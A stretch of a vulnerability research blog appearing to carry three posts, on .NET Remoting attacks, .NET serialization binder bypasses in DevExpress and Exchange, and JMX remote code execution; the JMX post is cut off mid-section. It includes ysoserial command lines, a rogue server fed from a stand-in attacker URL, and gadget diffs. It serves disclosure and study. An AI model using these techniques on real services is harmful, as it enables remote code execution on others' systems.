❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayVulnerabily Research

.NET Remoting Revisited

27 January 2022 at 14:49

.NET Remoting is the built-in architecture for remote method invocation in .NET. It is also the origin of the (in-)famous BinaryFormatter and SoapFormatter serializers and not just for that reason a promising target to watch for.

This blog post attempts to give insights into its features, security measures, and especially its weaknesses/vulnerabilities that often result in remote code execution. We're also introducing major additions to the ExploitRemotingService tool, a new ObjRef gadget for YSoSerial.Net, and finally a RogueRemotingServer as counterpart to the ObjRef gadget.

If you already understand the internal of .NET Remoting, you may skip the introduction and proceed right with Security Features, Pitfalls, and Bypasses.

Introduction

.NET Remoting is deeply integrated into the .NET Framework and allows invocation of methods across so called remoting boundaries. These can be different app domains within a single process, different processes on the same computer, or different processes on different computers. Supported transports between the client and server are HTTP, IPC (named pipes), and TCP.

Here is a simple example for illustration: the server creates and registers a transport server channel and then registers the class as a service with a well-known name at the server's registry:

var channel = new TcpServerChannel(12345);
ChannelServices.RegisterChannel(channel);
RemotingConfiguration.RegisterWellKnownServiceType(
    typeof(MyRemotingClass),
    "MyRemotingClass"
);

Then a client just needs the URL of the registered service to do remoting with the server:

var remote = (MyRemotingClass)RemotingServices.Connect(
    typeof(MyRemotingClass),
    "tcp://remoting-server:12345/MyRemotingClass"
);

With this, every invocation of a method or property accessor on remote gets forwarded to the remoting server, executed there, and the result gets returned to the client. This all happens transparently to the developer.

And although .NET Remoting has already been deprecated with the release of .NET Framework 3.0 in 2009 and is no longer available on .NET Core and .NET 5+, it is still around, even in contemporary enterprise level software products.

Remoting Internals

If you are interested in how .NET Remoting works under the hood, here are some insights.

In simple terms: when the client connects to the remoting object provided by the server, it creates a RemotingProxy that implements the specified type MyRemotingClass. All method invocations on remote at the client (except for GetType() and GetHashCode()) will get sent to the server as remoting calls. When a method gets invoked on remote, the proxy creates a MethodCall object that holds the information of the method and passed parameters. It is then passed to a chain of sinks that prepare the MethodCall and handle the remoting communication with the server over the given transport.

On the server side, the received request is also passed to a chain of sinks that reverses the process, which also includes deserialization of the MethodCall object. It ends in a dispatcher sink, which invokes the actual implementation of the method with the passed parameters. The result of the method invocation is then put in a MethodResponse object and gets returned to the client where the client sink chain deserializes the MethodResponse object, extracts the returned object and passes it back to the RemotingProxy.

Channel Sinks

When the client or server creates a channel (either explicitly or implicitly by connecting to a remote service), it also sets up a chain of sinks for processing outgoing and incoming requests. For the server chain, the first sink is a transport sink, followed by formatter sinks (this is where the BinaryFormatter and SoapFormatter are used), and ending in the dispatch sink. It is also possible to add custom sinks. For the three transports, the server default chains are as follows:

  • HttpServerChannel:
    HttpServerTransportSink β†’ SdlChannelSink β†’ SoapServerFormatterSink β†’ BinaryServerFormatterSink β†’ DispatchChannelSink
  • IpcServerChannel:
    IpcServerTransportSink β†’ BinaryServerFormatterSink β†’ SoapServerFormatterSink β†’ DispatchChannelSink
  • TcpServerChannel:
    TcpServerTransportSink β†’ BinaryServerFormatterSink β†’ SoapServerFormatterSink β†’ DispatchChannelSink

On the client side, the sink chain looks similar but in reversed order, so first a formatter sink and finally the transport sink:

Note that the default client sink chain has a default formatter for each transport (HTTP uses SOAP, IPC and TCP use binary format) while the default server sink chain can process both formats. The default sink chains are only used if the channel was not created with an explicit IClientChannelSinkProvider and/or IServerChannelSinkProvider.

Passing Parameters and Return Values

Parameter values and return values can be transfered in two ways:

  • by value: if either the type is serializable (cf. Type.IsSerializable) or if there is a serialization surrogate for the type (see following paragraphs)
  • by reference: if type extends MarshalByRefObject (cf. Type.IsMarshalByRef)

In case of the latter, the objects need to get marshaled using one of the RemotingServices.Marshal methods. They register the object at the server's registry and return a ObjRef instance that holds the URL and type information of the marshaled object.

The marshaling happens automatically during serialization by the serialization surrogate class RemotingSurrogate that is used for the BinaryFormatter/SoapFormatter in .NET Remoting (see CoreChannel.CreateBinaryFormatter(bool, bool) and CoreChannel.CreateSoapFormatter(bool, bool)). A serialization surrogate allows to customize serialization/deserialization of specified types.

In case of objects extending MarshalByRefObject, the RemotingSurrogateSelector returns a RemotingSurrogate (see RemotingSurrogate.GetSurrogate(Type, StreamingContext, out ISurrogateSelector)). It then calls the RemotingSurrogate.GetObjectData(Object, SerializationInfo, StreamingContext) method, which calls the RemotingServices.GetObjectData(object, SerializationInfo, StreamingContext), which then calls RemotingServices.MarshalInternal(MarshalByRefObject, string, Type). That basically means, every remoting object extending MarshalByRefObject is substituted with a ObjRef and thus passed by reference instead of by value.

On the receiving side, if an ObjRef gets deserialized by the BinaryFormatter/SoapFormatter, the IObjectReference.GetRealObject(StreamingContext) implementation of ObjRef gets called eventually. That interface method is used to replace an object during deserialization with the object returned by that method. In case of ObjRef, the method results in a call to RemotingServices.Unmarshal(ObjRef, bool), which creates a RemotingProxy of the type and target URL specified in the deserialized ObjRef.

That means, in .NET Remoting all objects extending MarshalByRefObject are passed by reference using an ObjRef. And deserializing an ObjRef with a BinaryFormatter/SoapFormatter (not just limited to .NET Remoting) results in the creation of a RemotingProxy.

With this knowledge in mind, it should be easier to follow the rest of this post.

Previous Work

Most of the issues of .NET Remoting and the runtime serializers BinaryFormatter/SoapFormatter have already been identified by James Forshaw:

We highly encourage you to take the time to read the papers/posts. They are also the foundation of the ExploitRemotingService tool that will be detailed in ExploitRemotingService Explained further down in this post.

Security Features, Pitfalls, and Bypasses

The .NET Remoting is fairly configurable. The following security aspects are built-in and can be configured using special channel and formatter properties:

HTTP Channel IPC Channel TCP Channel
Authentication n/a n/a
  • secure=bool channel property
  • ISecurableChannel.IsSecured (via NegotiateStream; default: false)
Authorization n/a
  • authorizationGroups=Windows/AD Group channel property (default: thread owner is allowed, NT Authority\Network group (SID S-1-5-2) is denied)
  • CommonSecurityDescriptor passed to a IpcServerChannel constructor
custom IAuthorizeRemotingConnection class
  • authorizationModule channel property
  • passed to TcpServerChannel constructor
Impersonation n/a impersonate=bool (default: false) impersonate=bool (default: false)
Conf., Int., Auth. Protection n/a n/a protectionLevel={None, Sign, EncryptAndSign} channel property
Interface Binding n/a n/a rejectRemoteRequests=bool (loopback only, default: false), bindTo=address (specific IP address, default: n/a)

Pitfalls and important notes on these security features:

HTTP Channel
  • No security features provided; ought to be implemented in IIS or by custom server sinks.
IPC Channel
  • By default, access to named pipes created by the IPC server channel are denied to NT Authority\Network group (SID S-1-5-2), i. e., they are only accessible from the same machine. However, by using authorizationGroup, the network restriction is not in place so that the group that is allowed to access the named pipe may also do it remotely (not supported by the default IpcClientTransportSink, though).
TCP Channel
  • With a secure TCP channel, authentication is required. However, if no custom IAuthorizeRemotingConnection is configured for authorization, it is possible to logon with any valid Windows account, including NT Authority\Anonymous Logon (SID S-1-5-7).

ExploitRemotingService Explained

James Forshaw also released ExploitRemotingService, which contains a tool for attacking .NET Remoting services via IPC/TCP by the various attack techniques. We'll try to explain them here.

There are basically two attack modes:

raw
Exploit BinaryFormatter/SoapFormatter deserialization (see also YSoSerial.Net)
all others commands (see -h)
Write a FakeAsm assembly to the server's file system, load a type from it to register it at the server to be accessible via the existing .NET Remoting channel. It is then accessible via .NET Remoting and can perform various commands.

To see the real beauty of his sorcery and craftsmanship, we'll try to explain the different operating options for the FakeAsm exploitation and their effects:

without options
Send a FakeMessage that extends MarshalByRefObject and thus is a reference (ObjRef) to an object on the attacker's server. On deserialization, the victim's server creates a proxy that transparently forwards all method invocations to the attacker's server. By exploiting a TOCTOU flaw, the get_MethodBase() property method of the sent message (FakeMessage) can be adjusted so that even static methods can be called. This allows to call File.WriteAllBytes(string, byte[]) on the victim's machine.
--useser
Send a forged Hashtable with a custom IEqualityComparer by reference that implements GetHashCode(object), which gets called by the victim server on the attacker's server remotely. As for the key, a FileInfo/DirectoryInfo object is wrapped in SerializationWrapper that ensures the attacker's object gets marshaled by value instead of by reference. However, on the remote call of GetHashCode(object), the victim's server sends the FileInfo/DirectoryInfo by reference so that the attacker has a reference to the FileInfo/DirectoryInfo object on the victim.
--uselease
Call MarshalByRefObject.InitializeLifetimeService() on a published object to get an ILease instance. Then call Register(ISponsor) with an MarshalByRefObject object as parameter to make the server call the IConvertible.ToType(Type, IformatProvider) on an object of the attacker's server, which then can deliver the deserialization payload.

Now the problem with the --uselease option is that the remote class needs to return an actual ILease object and not null. This may happen if the virtual MarshalByRefObject.InitializeLifetimeService() method is overriden. But the main principle of sending an ObjRef referencing an object on the attacker's server can be generalized with any method accepting a parameter. That is why we have added the --useobjref to ExploitRemotingService (see also Community Contributions further below):

--useobjref
Call the MarshalByRefObject.GetObjRef(Type) method with an ObjRef as parameter value. Similarly to --uselease, the server calls IConvertible.ToType(Type, IformatProvider) on the proxy, which sends a remoting call to the attacker's server.

Security Measures and Troubleshooting

If no custom errors are enabled and a RemotingException gets returned by the server, the following may help to identify the cause and to find a solution:

Error Reason ExampleRemotingService Options ExploitRemotingService Bypass Options
"Requested Service not found" The URI of an existing remoting service must be known; there is no way to iterate them. n/a --nulluri may work if remoting service has not been servicing any requests yet.
NotSupportedException with link to KB 390633 Disallow received IMessage being MarshalByRefObject (see AppSettings.AllowTransparentProxyMessage) -d --uselease, --useobjref
SecurityException with PermissionSet info Code Access Security (CAS) restricted permissions in place (TypeFilterLevel.Low) -t low --uselease, --useobjref

Community Contributions

Our research on .NET Remoting led to some new insights and discoveries that we want to share with the community. Together with this blog post, we have prepared the following contributions and new releases.

ExploitRemotingService

The ExploitRemotingService is already a magnificent tool for exploiting .NET Remoting services. However, we have made some additions to ExploitRemotingService that we think are worthwhile:

--useobjref option
This newly added option allows to use the ObjRef trick described
--remname option
Assemblies can only be loaded by name once. If that loading fails, the runtime remembers that and avoids trying to load it again. That means, writing the FakeAsm.dll to the target server's file system and loading a type from that assembly must succeed on the first attempt. The problem here is to find the proper location to write the assembly to where it will be searched by the runtime (ExploitRemotingService provides the options --autodir and --installdir=… to specify the location to write the DLL to). We have modified ExploitRemotingService to use the --remname to name the FakeAsm assembly so that it is possible to have multiple attempts of writing the assembly file to an appropriate location.
--ipcserver option
As IPC server channels may be accessible remotely, the --ipcserver option allows to specify the server's name for a remote connection.

YSoSerial.Net

The new ObjRef gadget is basically the equivalent of the sun.rmi.server.UnicastRef class used by the JRMPClient gadget in ysoserial for Java: on deserialization via BinaryFormatter/SoapFormatter, the ObjRef gets transformed to a RemotingProxy and method invocations on that object result in the attempt to send an outgoing remote method call to a specified target .NET Remoting endpoint. This can then be used with the RogueRemotingServer described below.

RogueRemotingServer

The newly released RogueRemotingServer is the counterpart of the ObjRef gadget for YSoSerial.Net. It is the equivalent to the JRMPListener server in ysoserial for Java and allows to start a rogue remoting server that delivers a raw BinaryFormatter/SoapFormatter payload via HTTP/IPC/TCP.

Example of ObjRef Gadget and RogueRemotingServer

Here is an example of how these tools can be used together:

# generate a SOAP payload for popping MSPaint
ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c MSPaint.exe
  > MSPaint.soap

# start server to deliver the payload on all interfaces
RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0/index.html MSPaint.soap
# test the ObjRef gadget with the target http://attacker/index.html
ysoserial.exe -f BinaryFormatter -g ObjRef -o raw -c http://attacker/index.html -t

During deserialization of the ObjRef gadget, an outgoing .NET Remoting method call request gets sent to the RogueRemotingServer, which replies with the TextFormattingRunProperties gadget payload.

Conclusion

.NET Remoting has already been deprecated long time ago for obvious reasons. If you are a developer, don't use it and migrate from .NET Remoting to WCF.

If you have detected a .NET Remoting service and want to exploit it, we'll recommend the excellent ExploitRemotingService by James Forshaw that works with IPC and TCP (for HTTP, have a look at Finding and Exploiting .NET Remoting over HTTP using Deserialisation by Soroush Dalili). If that doesn't succeed, you may want to try it with the enhancements added to our fork of ExploitRemotingService, especially the --useobjref technique and/or naming the FakeAsm assembly via --remname might help. And even if none of these work, you may still be able to invoke arbitrary methods on the exposed objects and take advantage of that.

Bypassing .NET Serialization Binders

28 June 2022 at 14:00

Serialization binders are often used to validate types specified in the serialized data to prevent the deserialization of dangerous types that can have malicious side effects with the runtime serializers such as the BinaryFormatter.

In this blog post we'll have a look into cases where this can fail and consequently may allow to bypass validation. We'll also walk though two real-world examples of insecure serialization binders in the DevExpress framework (CVE-2022-28684) and Microsoft Exchange (CVE-2022-23277), that both allow remote code execution.

Introduction

Type Names

Type names are used to identify .NET types. In the fully qualified form (also known as assembly qualified name, AQN), it also contains the information on the assembly the type should be loaded from. This information comprises of the assembly's name as well as attributes specifying its version, culture, and a token of the public key it was signed with. Here is an (extensive) example of such an assembly qualified name:

System.Collections.Concurrent.ConcurrentBag`1+ListOperation[
    [System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]
],
System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

This assembly qualified name comprises of two parts with several components:

  • Assembly Qualified Name (AQN)
    • Type Full Name
      • Namespace
      • Type Name
      • Generic Type Parameters Indicator
      • Nested Type Name
      • Generic Type Parameters
      • Embedded Type AQN (EAQN)
    • Assembly Full Name
      • Assembly Name
      • Assembly Attributes

You can see that the same breakdown can also be applied to the embedded type's AQN. For simplicity, the type info will be referred to as type name and the assembly info will be referred to as assembly name as these are the general terms used by .NET and thus also within this post.

The assembly and type information are used by the runtime to locate and bind the assembly. That software component is also sometimes referred to as the CLR Binder.

Serialization Binders

In its original intent, a SerializationBinder was supposed to work just like the runtime binder but only in the context of serialization/deserialization with the BinaryFormatter, SoapFormatter, and NetDataContractSerializer:

Some users need to control which class to load, either because the class has moved between assemblies or a different version of the class is required on the server and client. β€” SerializationBinder Class

For that, a SerializationBinder provides two methods:

  • public virtual void BindToName(Type serializedType, out string assemblyName, out string typeName);
  • public abstract Type BindToType(string assemblyName, string typeName);

The BindToName gets called during serialization and allows to control the assemblyName and typeName values that get written to the serialized stream. On the other side, the BindToType gets called during deserialization and allows to control the Type being returned depending on the passed assemblyName and typeName that were read from the serialized stream. As the latter method is abstract, derived classes would need provide their own implementation of that method.

During the time .NET deserialization issues rose in 2017, the remark "SerializationBinder can also be used for security" was added to the SerializationBinder documentation. Later in 2020, that remark has been changed to the exact opposite:

That is probably why developers (mis-)use them as a security measure to prevent the deserialization of malicious types. And it is still widely used, even though those serializers have already been disapproved for obvious reasons.

But using a SerializationBinder for validating the type to be deserialized can be tricky and has pitfalls that may allow to bypass the validation depending on how it is implemented.

What could possibly go wrong?

For validating the specified type, developers can either

  1. work solely on the string representations of the specified assembly name and type name, or
  2. try to resolve the specified type and then work with the returned Type.

Each of these strategies has its own advantages and disadvantages.

Advantages/Disadvantages of Validation Before/After Type Binding

The advantage of the former is that type resolving is cost intensive and hence some advise against it to prevent a possible denial of service attacks.

On the other hand, however, the type name parsing is not that straight forward and the internal type parser/binder of .NET allows some unexpected quirks:

  • whitespace characters (i. e., U+0009, U+000A, U+000D, U+0020) are generally ignored between tokens, in some cases even further characters
  • type names can begin with a "." (period), e. g., .System.Data.DataSet
  • assembly names are case-insensitive and can be quoted, e. g., MsCoRlIb and "mscorlib"
  • assembly attribute values can be quoted, even improperly, e. g., PublicKeyToken="b77a5c561934e089" and PublicKeyToken='b77a5c561934e089
  • .NET Framework assemblies often only require the PublicKey/PublicKeyToken attribute, e. g., System.Data.DataSet, System.Data, PublicKey=00000000000000000400000000000000 or System.Data.DataSet, System.Data, PublicKeyToken=b77a5c561934e089
  • assembly attributes can be in arbitrary order, e. g., System.Data, PublicKeyToken=b77a5c561934e089, Culture=neutral, Version=4.0.0.0
  • arbitrary additional assembly attributes are allowed, e. g., System.Data, Foo=bar, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, Baz=quux
  • assembly attributes can consist of almost arbitrary data (supported escape sequences: \", \', \,, \/, \=, \\, \n, \r, and \t)

This renders detecting known dangerous types based on their name basically impractical, which, by the way, is always a bad idea. Instead, only known safe types should be allowed and anything else should result in an exception being thrown.

In contrast to that, resolving the type before validation would allow to work with a normalized form of the type. But type resolution/binding may also fail. And depending on how the custom SerializationBinder handles such cases, it can allow attackers to bypass validation.

SerializationBinder Usages

If you keep in mind that the SerializationBinder was supposedly never meant to be used as a security measure (otherwise it would probably have been named SerializationValidator or similar), it gets more clear if you see how it is actually used by the BinaryFormatter, SoapFormatter, and NetDataContractSerializer:

  • System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.ObjectReader.Bind(string, string)
  • System.Runtime.Serialization.Formatters.Soap.SoapFormatter.ObjectReader.Bind(string, string)
  • System.Runtime.Serialization.XmlObjectSerializerReadContextComplex.ResolveDataContractTypeInSharedTypeMode(string, string, out Assembly)

Let's have a closer look at the first one, ObjectReader.Bind(string, string) used by BinaryFormatter:

Here you can see that if the SerializationBinder.BindToType(string, string) call returns null, the fallback ObjectReader.FastBindToType(string, string) gets called.

Here, if the BinaryFormatter uses FormatterAssemblyStyle.Simple (i. e., bSimpleAssembly == true, which is the default for BinaryFormatter), then the specified assembly name is used to create an AssemblyName instance and it is then attempted to load the corresponding assembly with it. This must succeed, otherwise ObjectReader.FastBindToType(string, string) immediately returns with null. It is then tried to load the specified type with ObjectReader.GetSimplyNamedTypeFromAssembly(Assembly, string, ref Type).

This method first calls FormatterServices.GetTypeFromAssembly(Assembly, string) that tries to load the type from the already resolved assembly using Assembly.GetType(string) (not depicted here). But if that fails, it uses Type.GetType(string, Func<AssemblyName, Assembly>, Func<Assembly, string, bool, Type>, bool) with the specified type name as first parameter. Now if the specified type name happens to be a AQN, the type loading succeeds and it returns the type specified by the AQN regardless of the already loaded assembly.

That means, unless the custom SerializationBinder.BindToType(string, string) implementation uses the same algorithm as the ObjectReader.FastBindToType(string, string) method, it might be possible to get the custom SerializationBinder to fail while the ObjectReader.FastBindToType(string, string) still succeeds. And if the custom SerializationBinder.BindToType(string, string) method does not throw an exception on failure but silently returns null instead, it would also allow to bypass any type validation implemented in SerializationBinder.BindToType(string, string).

This behavior already mentioned in Jonathan Birch's Dangerous Contents - Securing .Net Deserialization in 2017:

Don't return null for unexpected types – this makes some serializers fall back to a default binder, allowing exploits.

Origin of the Assembly Name and Type Name

The assembly name and type name values passed to the SerializationBinder.BindToType(string, string) during deserialization originate from the serialized stream: the assembly name is read by BinaryAssembly.Read(__BinaryParser) and the type name by BinaryObjectWithMapTyped.Read(__BinaryParser).

On the serializing side, these values are written to the stream by BinaryAssembly.Write(__BinaryWrite) and BinaryObjectWithMapTyped.Write(__BinaryWriter). The written values originate from an SerObjectInfoCache instance, which are set in the two available constructors:

In the latter case, the assembly name and type name are obtained from the TypeInformation returned by BinaryFormatter.GetTypeInformation(Type). In the former case, however, the assembly name and type name are adopted from the SerializationInfo instance filled during serialization if the assembly name or type name was set explicitly via SerializationInfo.AssemblyName and SerializationInfo.FullTypeName, respectively.

That means, besides using SerializationInfo.SetType(Type), it is also possible to set the assembly name and type name explicitly and independently as strings by using SerializationInfo.AssemblyName and SerializationInfo.FullTypeName:

[Serializable]
class Marshal : ISerializable
{
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.AssemblyName = "…";
        info.FullTypeName = "…";
    }
}

There is also another and probably more convenient way to specify an arbitrary assembly name and type name by using a custom SerializationBinder during serialization:

class CustomSerializationBinder : SerializationBinder
{
    public override void BindToName(Type serializedType, out string assemblyName, out string typeName)
    {
        assemblyName = "…";
        typeName     = "…";
    }

    public override Type BindToType(string assemblyName, string typeName)
    {
        throw new NotImplementedException();
    }
}

This allows to fiddle with all assembly names and type names that are used within the object graph to be serialized.

Common Pitfalls of Custom SerializationBinders

There are two common pitfalls that can render a SerializationBinder bypassable:

  1. parsing the passed assembly name and type name differently than the .NET runtime does
  2. resolving the specified type differently than the .NET runtime does

We will demonstrate these with two case studies: the DevExpress framework (CVE-2022-28684) and Microsoft Exchange (CVE-2022-23277).

Case Study β„– 1: SafeSerializationBinder in DevExpress (CVE-2022-28684)

Despite its name, the DevExpress.Data.Internal.SafeSerializationBinder class of DevExpress.Data is not really a SerializationBinder. But its Ensure(string, string) method is used by the DXSerializationBinder.BindToType(string, string) method to check for safe and unsafe types.

It does this by checking the assembly name and type name against a list of known unsafe types (i. e., UnsafeTypes class) and known safe types (i. e., KnownTypes class). To pass the validation, the former must not match while the latter must match as both XtraSerializationSecurityTrace.UnsafeType(string, string) and XtraSerializationSecurityTrace.NotTrustedType(string, string) result in an exception being thrown.

The check in each Match(string, string) method comprises of a match against so called type ranges and several full type names.

A type range is basically a pair of assembly name and namespace prefix that the passed assembly name and type name are tested against.

Here is the definition of UnsafeTypes.typeRanges that UnsafeTypes.Match(string, string) tests against:

And here UnsafeTypes.types:

This set basically comprises the types used in public gadgets such as those of YSoSerial.Net.

Remember that SafeSerializationBinder.Ensure(string, string) does not resolve the specified type but only works on the assembly names and type names read from the serialized stream. The type binding/resolution attempt happens after the string-based validation in DXSerializationBinder.BindToType(string, string) where Assembly.GetType(string, bool) is used to load the specified type from the specified assembly but without throwing an exception on error (i. e., the passed false).

We'll demonstrate how a System.Data.DataSet can be used to bypass validation in SafeSerializationBinder.Ensure(string, string) despite it is contained in UnsafeTypes.types.

As DXSerializationBinder.BindToType(string, string) can return null in two cases (assembly == null or Assembly.GetType(string, bool) returns null), it is possible to craft the assembly name and type name pair that does fail loading while the fallback ObjectReader.FastBindToType(string, string) still returns the proper type.

In the first attempt, we'll update the ISerializable.GetObjectData(SerializationInfo, StreamingContext) implementation of the DataSet gadget of YSoSerial.Net so that the assembly name is mscorlib and the type name the AQN of System.Data.DataSet:

diff --git a/ysoserial/Generators/DataSetGenerator.cs b/ysoserial/Generators/DataSetGenerator.cs
index ae4beb8..1755e62 100644
--- a/ysoserial/Generators/DataSetGenerator.cs
+++ b/ysoserial/Generators/DataSetGenerator.cs
@@ -62,7 +62,8 @@ namespace ysoserial.Generators

         public void GetObjectData(SerializationInfo info, StreamingContext context)
         {
-            info.SetType(typeof(System.Data.DataSet));
+            info.AssemblyName = "mscorlib";
+            info.FullTypeName = typeof(System.Data.DataSet).AssemblyQualifiedName;
             info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary);
             info.AddValue("DataSet.DataSetName", "");
             info.AddValue("DataSet.Namespace", "");

With a breakpoint at DXSerializationBinder.BindToType(string, string), we'll see that the first call to SafeSerializationBinder.Ensure(string, string) gets passed. This is because we use the AQN of System.Data.DataSet as type name while UnsafeTypes.types only contains the full name System.Data.DataSet instead. And as the pair of assembly name mscorlib and type name prefix System. is contained in KnownTypes.typeRanges, it will pass validation.

But now the assembly name and type name are passed to SafeSerializationBinder.EnsureAssemblyQualifiedTypeName(string, string):

That method probably tries to extract the type name and assembly name from an AQN passed in the typeName. It does this by looking for the last position of , in typeName and whether the part behind that position starts with version=. If that's not the case, the loop looks for the second last, then the third last, and so on. If version= was found, the algorithm assumes that the next iteration would also contain the assembly name (remember, the version is the first assembly attribute in the normalized form), flag gets set to true and in the next loop the position of the preceeding , marks the delimiter between the type name and assembly name. At the end, the passed assemblyName value stored in a and the extracted assemblyName values get compared. If they differ, true gets returned an the extracted assembly name and type name are checked by another call to SafeSerializationBinder.Ensure(string, string).

With our AQN passed as type name, SafeSerializationBinder.EnsureAssemblyQualifiedTypeName(string, string) extracts the proper values so that the call to SafeSerializationBinder.Ensure(string, string) throws an exception. That didn't work.

So in what cases does SafeSerializationBinder.EnsureAssemblyQualifiedTypeName(string, string) return false so that the second call to SafeSerializationBinder.Ensure(string, string) does not happen?

There are five return statements: three always return false (lines 28, 36, and 42) and the other two only return false when the passed assemblyName value equals the extracted assembly name (lines 21 and 51).

Let's first look at those always returning false: in two cases (line 28 and 42), the condition depends on whether the typeName contains a ] after the last ,. We can achieve that by adding a custom assembly attribute to our AQN that contains a ], which is perfectly valid:

diff --git a/ysoserial/Generators/DataSetGenerator.cs b/ysoserial/Generators/DataSetGenerator.cs
index ae4beb8..1755e62 100644
--- a/ysoserial/Generators/DataSetGenerator.cs
+++ b/ysoserial/Generators/DataSetGenerator.cs
@@ -62,7 +62,8 @@ namespace ysoserial.Generators

         public void GetObjectData(SerializationInfo info, StreamingContext context)
         {
-            info.SetType(typeof(System.Data.DataSet));
+            info.AssemblyName = "mscorlib";
+            info.FullTypeName = typeof(System.Data.DataSet).AssemblyQualifiedName + ", x=]";
             info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary);
             info.AddValue("DataSet.DataSetName", "");
             info.AddValue("DataSet.Namespace", "");

Now the SafeSerializationBinder.EnsureAssemblyQualifiedTypeName(string, string) returns false without updating the typeName or assemblyName values. Loading the mscorlib assembly will succeed but the specified DataSet type won't be found in it so that DXSerializationBinder.BindToType(string, string) also returns null and the ObjectReader.FastBindToType(string, string) attempts to load the type, which finally succeeds.

Case Study β„– 2: ChainedSerializationBinder in Exchange Server (CVE-2022-23277)

After my colleage @frycos published his story on Searching for Deserialization Protection Bypasses in Microsoft Exchange (CVE-2022–21969), I was curious whether it was possible to still bypass the security measures implemented in the Microsoft.Exchange.Diagnostics.ChainedSerializationBinder class.

The ChainedSerializationBinder is used for a BinaryFormatter instance created by Microsoft.Exchange.Diagnostics.ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation, bool, string[], string[]) to resolve the specified type and then test it against a set of allowed and disallowed types to abort deserialization in case of a violation.

Within the ChainedSerializationBinder.BindToType(string, string) method, the passed assembly name and type name parameters are forwarded to InternalBindToType(string, string) (not depicted here) and then to LoadType(string, string). Note that only if the type was loaded successfully, it gets validated using the ValidateTypeToDeserialize(Type) method.

Inside LoadType(string, string), it is attempted to load the type by combining both values in various ways, either via Type.GetType(string) or by iterating the already loaded assemblies and then using Assembly.GetType(string) on it. If loading of the type fails, LoadType(string, string) returns null and then BindToType(string, string) also returns null while the validation via ValidateTypeToDeserialize(Type) only happens if the type was successfully loaded.

When the ChainedSerializationBinder.BindToType(string, string) method returns to the ObjectReader.Bind(string, string) method, the fallback method ObjectReader.FastBindToType(string, string) gets called for resolving the type. Now as ChainedSerializationBinder.BindToType(string, string) uses a different algorithm to resolve the type than ObjectReader.FastBindToType(string, string) does, it is possible to bypass the validation of ChainedSerializationBinder via the aforementioned tricks.

Here either of the two ways (a custom marshal class or a custom SerializationBinder during serialization) do work. The following demonstrates this with System.Data.DataSet:

Conclusion

The insecure serializers BinaryFormatter, SoapFormatter, and NetDataContractSerializer should no longer be used and legacy code should be migrated to the preferred alternatives.

If you happen to encounter a SerializationBinder, check how the type resolution and/or validation is implemented and whether BindToType(string, string) has a case that returns null so that the fallback ObjectReader.FastBindToType(string, string) may get a chance to resolve the type instead.

JMX Exploitation Revisited

20 March 2023 at 09:38

The Java Management Extensions (JMX) are used by many if not all enterprise level applications in Java for managing and monitoring of application settings and metrics. While exploiting an accessible JMX endpoint is well known and there are several free tools available, this blog post will present new insights and a novel exploitation technique that allows for instant Remote Code Execution with no further requirements, such as outgoing connections or the existence of application specific MBeans.

Introduction

How to exploit remote JMX services is well known. For instance, Attacking RMI based JMX services by Hans-Martin MΓΌnch gives a pretty good introduction to JMX as well as a historical overview of attacks against exposed JMX services. You may want to read it before proceeding so that we're on the same page.

And then there are also JMX exploitation tools such as mjet (formerly also known as sjet, also by Hans-Martin MΓΌnch) and beanshooter by my colleague Tobias Neitzel, which both can be used to exploit known vulnerabilities and JMX services and MBeans.

However, some aspects are either no longer possible in current Java versions (e. g., pre-authenticated arbitrary Java deserialization via RMIServer.newClient(Object)) or they require certain MBeans being present or conditions such as the server being able to connect back to the attacker (e. g., MLet with HTTP URL).

In this blog post we will look into two other default MBean classes that can be leveraged for pretty unexpected behavior:

  • remote invocation of arbitrary instance methods on arbitrary serializable objects
  • remote invocation of arbitrary static methods on arbitrary classes

Tobias has implemented some of the gained insights into his tool beanshooter. Thanks!

Read The Fine Manual

By default, MBean classes are required to fulfill one of the following:

  1. follow certain design patterns
  2. implement certain interfaces

For example, the javax.management.loading.MLet class implements the javax.management.loading.MLetMBean, which fulfills the first requirement that it implements an interface whose name of the same name but ends with MBean.

The two specific MBean classes we will be looking at fulfill the second requirement:

Both classes provide features that don't seem to have gotten much attention yet, but are pretty powerful and allow interaction with the MBean server and MBeans that may even violate the JMX specification.

The Standard MBean Class StandardMBean

The StandardMBean was added to JMX 1.2 with the following description:

[…] the javax.management.StandardMBean class can be used to define standard MBeans with an interface whose name is not necessarily related to the class name of the MBean.

– Javaβ„’ Management Extensions (JMXβ„’) (Maintenance Release 2)

Also:

An MBean whose management interface is determined by reflection on a Java interface.

– StandardMBean (Java Platform SE 8)

Here reflection is used to determine the attributes and operations based on the given interface class and the JavaBeansβ„’ conventions.

That basically means that we can create MBeans of arbitrary classes and call methods on it that are defined by the interfaces they implement. The only restriction is that the class needs to be Serializable as well as any possible arguments we want to use in the method call.

public final class TemplatesImpl implements Templates, Serializable

Meet the infamous TemplatesImpl! It is an old acquaintance common in Java deserialization gadgets as it is serializable and calling any of the following public methods results in loading of a class from byte code embedded in the private field _bytecodes:

  • TemplatesImpl.getOutputProperties()
  • TemplatesImpl.getTransletIndex()
  • TemplatesImpl.newTransformer()

The first and last methods are actually defined in the javax.xml.transform.Templates interface that TemplatesImpl implements. The getOutputProperties() method also fulfills the requirements for a MBean attribute getter method, which makes it a perfect trigger for serializers calling getter methods during the process of deserialization.

In this case it means that we can call these Templates interface methods remotely and thereby achieve arbitrary Remote Code Execution in the JMX service process:

Here we even have the choice to either read the attribute OutputProperties (resulting in an invocation of getOutputProperties()) or to invoke getOutputProperties() or newTransformer() directly.

The Model MBean Class RequiredModelMBean

The javax.management.modelmbean.RequiredModelMBean is already part of JMX since 1.0 and is even more versatile than the StandardMBean:

This model MBean implementation is intended to provide ease of use and extensive default management behavior for the instrumentation.

– Javaβ„’ Management Extensions Instrumentation and Agent Specification, v1.0

Also:

